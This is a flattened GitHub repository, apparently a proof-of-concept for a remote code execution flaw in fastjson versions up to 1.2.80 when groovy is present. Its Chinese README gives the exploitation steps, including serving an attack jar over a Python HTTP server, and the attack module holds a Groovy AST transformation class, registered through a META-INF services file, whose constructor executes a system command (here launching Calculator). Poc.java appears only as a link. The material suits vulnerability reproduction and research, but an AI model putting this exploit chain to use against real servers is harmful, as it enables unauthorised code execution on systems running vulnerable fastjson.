├── .gitignore ├── README.md ├── attack ├── pom.xml └── src │ └── main │ ├── java │ └── groovy │ │ └── grape │ │ └── GrabAnnotationTransformation2.java │ └── resources │ └── META-INF │ └── services │ └── org.codehaus.groovy.transform.ASTTransformation ├── images └── 1662101876011-b08585ac-f575-4c11-bb7d-2d09f1296cd1.png ├── pom.xml └── src └── main └── java └── Poc.java /.gitignore: -------------------------------------------------------------------------------- 1 | # Ant 2 | local.properties 3 | 4 | # Maven 5 | target/ 6 | release.properties 7 | 8 | # IntelliJ 9 | *.iml 10 | *.ipr 11 | *.iws 12 | .idea/ 13 | out/ 14 | 15 | # Mac 16 | .DS_Store 17 | 18 | ### Java template 19 | # Compiled class file 20 | *.class 21 | 22 | # Log file 23 | *.log 24 | 25 | # BlueJ files 26 | *.ctxt 27 | 28 | # Mobile Tools for Java (J2ME) 29 | .mtj.tmp/ 30 | 31 | # Package Files # 32 | *.jar 33 | *.war 34 | *.nar 35 | *.ear 36 | *.zip 37 | *.tar.gz 38 | *.rar -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # fastjson <= 1.2.80 RCE 漏洞复现 2 | 3 | ##利用条件 4 | - fastjson版本: 1.2.76 <= fastjson < 1.2.83 5 | - 存在groovy依赖 6 | 7 | ##复现步骤 8 | 1.编译attack 模块为 attack-1.jar包 9 | 10 | 2.在attack-1.jar包所在的目录下执行启用http服务。 11 | 12 | `python -m SimpleHTTPServer 8433` 13 | 14 | 3.运行poc 15 | 16 | ![image](images/1662101876011-b08585ac-f575-4c11-bb7d-2d09f1296cd1.png) 17 | -------------------------------------------------------------------------------- /attack/pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 6 | 7 | 8 | 9 | 10 | 4.0.0 11 | groovy 12 | attack 13 | 1 14 | 15 | 16 | org.codehaus.groovy 17 | groovy-all 18 | 3.0.1 19 | provided 20 | pom 21 | 22 | 23 | 24 | 25 | 8 26 | 8 27 | 28 | 29 | -------------------------------------------------------------------------------- /attack/src/main/java/groovy/grape/GrabAnnotationTransformation2.java: -------------------------------------------------------------------------------- 1 | package groovy.grape; 2 | 3 | import org.codehaus.groovy.ast.ASTNode; 4 | import org.codehaus.groovy.control.CompilePhase; 5 | import org.codehaus.groovy.control.SourceUnit; 6 | import org.codehaus.groovy.transform.ASTTransformation; 7 | import org.codehaus.groovy.transform.GroovyASTTransformation; 8 | 9 | import java.io.IOException; 10 | 11 | @GroovyASTTransformation(phase= CompilePhase.CONVERSION) 12 | public class GrabAnnotationTransformation2 implements ASTTransformation { 13 | 14 | public GrabAnnotationTransformation2() { 15 | try { 16 | Runtime.getRuntime().exec("open /System/Applications/Calculator.app"); 17 | } catch (IOException e) { 18 | } 19 | } 20 | 21 | @Override 22 | public void visit(ASTNode[] nodes, SourceUnit source) { 23 | 24 | } 25 | } 26 | -------------------------------------------------------------------------------- /attack/src/main/resources/META-INF/services/org.codehaus.groovy.transform.ASTTransformation: -------------------------------------------------------------------------------- 1 | groovy.grape.GrabAnnotationTransformation2 -------------------------------------------------------------------------------- /images/1662101876011-b08585ac-f575-4c11-bb7d-2d09f1296cd1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lonely-night/fastjsonVul/789654e95e11bbf52f29a08a471b36041787a038/images/1662101876011-b08585ac-f575-4c11-bb7d-2d09f1296cd1.png -------------------------------------------------------------------------------- /pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 4.0.0 6 | 7 | org.example 8 | fastjsonVul 9 | pom 10 | 1.0-SNAPSHOT 11 | 12 | attack 13 | 14 | 15 | 16 | 17 | com.alibaba 18 | fastjson 19 | 1.2.80 20 | 21 | 22 | 23 | org.codehaus.groovy 24 | groovy-all 25 | 3.0.1 26 | pom 27 | 28 | 29 | 30 | 8 31 | 8 32 | 33 | 34 | -------------------------------------------------------------------------------- /src/main/java/Poc.java: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lonely-night/fastjsonVul/789654e95e11bbf52f29a08a471b36041787a038/src/main/java/Poc.java --------------------------------------------------------------------------------